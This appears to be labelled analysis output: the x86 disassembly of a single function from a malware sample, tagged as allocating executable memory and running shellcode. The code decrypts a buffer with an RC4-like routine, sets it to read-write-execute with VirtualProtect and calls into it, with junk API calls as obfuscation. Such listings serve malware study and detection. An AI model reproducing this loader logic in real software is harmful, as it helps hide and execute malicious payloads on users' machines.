Function at 0x1000191a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x340
mov eax, dword [0x10012038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push 0x26
push dword [0x10013fc4]
mov dword [ebp - 0x330], eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov dword [ebp - 0x328], eax
fild dword [ebp - 0x328]
fstp dword [0x10012d88]
fld dword [0x10012d88]
fld dword [0x1000f390]
fucompp
fnstsw ax
test ah, 0x44
jnp 0x10001977
push dword [0x10013fc4]
call dword [sym.imp.GDI32.dll_DeleteDC]
push ebx
xor ebx, ebx
push edi
cmp dword [ebp - 0x328], ebx
je 0x100019aa
push 0x102
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.10005c20
push ebx
push dword [ebp - 0x328]
lea eax, [ebp - 0x108]
call fcn.100011f2
add esp, 0x14
push 0x14
call fcn.100026c5
pop ecx
movzx ecx, byte [0x100140cc]
push 7
pop edi
push eax
mov dword [eax], 4
mov dword [eax + 8], edi
mov dword [eax + 0x10], 1
mov dword [eax + 0xc], ecx
call dword [sym.imp.USER32.dll_FlashWindowEx]
neg eax
sbb eax, eax
inc eax
mov dword [0x10014508], eax
mov eax, dword [0x100144f4]
cmp eax, ebx
jne 0x100019f0
xor eax, eax
jmp 0x10001cc8
xor ecx, ecx
mov dword [ecx*4 + 0x100140e0], ecx
inc ecx
cmp ecx, 0x100
jb 0x100019f2
push esi
lea ecx, [ebp - 0x340]
push ecx
push 0x40
push dword [0x100144f8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x100140d8]
imul eax, eax, 0x58
sub eax, 0x356
lea esi, [ebp - 0x324]
mov dword [0x100140dc], eax
call fcn.10001048
mov ecx, dword [0x100140d8]
lea eax, [ecx - 0x96]
cdq
and edx, edi
add eax, edx
sar eax, 3
test eax, eax
jne 0x10001a73
dec dword [0x100140dc]
mov eax, ecx
imul eax, dword [0x100140dc]
test eax, eax
je 0x10001a73
add ecx, 0x19e
and ecx, 0x206
add dword [0x100140dc], ecx
mov eax, str.zCVBypQsine
push str.DFrCznWVjHMQ
push eax
mov dword [0x100144fc], eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov eax, dword [ebp - 0x330]
cmp dword [eax], ebx
je 0x10001cc4
mov ecx, dword [0x100140d4]
imul ecx, ecx, 0xc
mov dword [ebp - 0x32c], ebx
mov dword [ebp - 0x328], ebx
mov ebx, dword [0x100140d8]
mov eax, ebx
xor eax, 0xcc8
sub eax, ecx
add eax, 0xc
lea ecx, [eax + 3]
mov dword [ebp - 0x334], ecx
mov dword [0x100140dc], eax
add eax, 2
fild dword [ebp - 0x334]
mov dword [ebp - 0x334], eax
mov edi, 0xff
fmul qword [0x1000f388]
fld qword [0x1000f380]
fld st(0)
fdivrp st(2)
fiadd dword [ebp - 0x334]
fdivr qword [0x1000f378]
fsubp st(1)
fstp dword [0x10013fbc]
mov eax, dword [ebp - 0x32c]
mov esi, dword [ebp - 0x330]
xor edx, edx
lea ecx, [eax*4 + 0x100140e0]
div dword [esi]
mov eax, dword [ecx]
mov dword [0x100144f0], eax
movsx edx, byte [edx + 0x10013fc8]
add edx, eax
add edx, dword [ebp - 0x328]
and edx, edi
inc dword [ebp - 0x32c]
cmp dword [ebp - 0x32c], 0x100
mov dword [ebp - 0x328], edx
lea edx, [edx*4 + 0x100140e0]
mov esi, dword [edx]
mov dword [ecx], esi
mov dword [edx], eax
jb 0x10001b04
xor esi, esi
mov dword [ebp - 0x328], esi
mov dword [0x10012b60], esi
cmp dword [0x100144f4], esi
je 0x10001cc4
mov dword [ebp - 0x32c], esi
cmp dword [0x100144f8], esi
jbe 0x10001c8f
mov ecx, dword [0x100140d4]
imul ecx, ecx, 5
add ecx, 2
mov eax, 0x11d
cdq
idiv ecx
mov dword [ebp - 0x330], 0xcc8
xor ebx, 0xffc9d458
mov edx, eax
mov eax, dword [0x100140d4]
mov ecx, eax
imul ecx, ecx, 0xfffffff9
sub ecx, edx
imul ecx, ecx, 3
sar dword [ebp - 0x330], cl
imul eax, eax, 0x54
lea eax, [ebx + eax - 0x274]
mov dword [ebp - 0x338], eax
mov eax, dword [ebp - 0x328]
inc eax
and eax, edi
mov dword [ebp - 0x328], eax
lea eax, [eax*4 + 0x100140e0]
mov edx, dword [eax]
add esi, edx
and esi, edi
lea ecx, [esi*4 + 0x100140e0]
mov ebx, dword [ecx]
mov dword [eax], ebx
mov dword [ecx], edx
mov edx, dword [ebp - 0x330]
mov dword [0x100140dc], edx
test edx, edx
jns 0x10001c2c
movzx edx, byte [0x100140cd]
add edx, 0x1d2
imul edx, edx, 7
mov dword [ebp - 0x334], edx
fild dword [ebp - 0x334]
fdiv dword [0x10013fbc]
jmp 0x10001c44
test dword [0x100140d4], 0xffffff80
je 0x10001c4a
fld dword [0x10013fbc]
fisub dword [0x100140dc]
fstp dword [0x10013fbc]
mov eax, dword [eax]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x32c]
mov edx, dword [0x100144f4]
and eax, edi
mov dword [0x100144f0], eax
mov al, byte [eax*4 + 0x100140e0]
xor byte [edx + ecx], al
mov eax, dword [ebp - 0x338]
inc ecx
mov dword [0x100140dc], eax
mov dword [ebp - 0x32c], ecx
cmp ecx, dword [0x100144f8]
jb 0x10001bcf
mov dword [0x10012b60], esi
push 7
push dword [0x10012d8c]
call fcn.10002150
pop ecx
pop ecx
push 4
push 0x1000
push pe_nt_image_headers32
push 0
mov dword [ebp - 0x33c], eax
mov dword [0x10013eb4], edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call dword [0x100144f4]
xor eax, eax
inc eax
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.10002073
leave
ret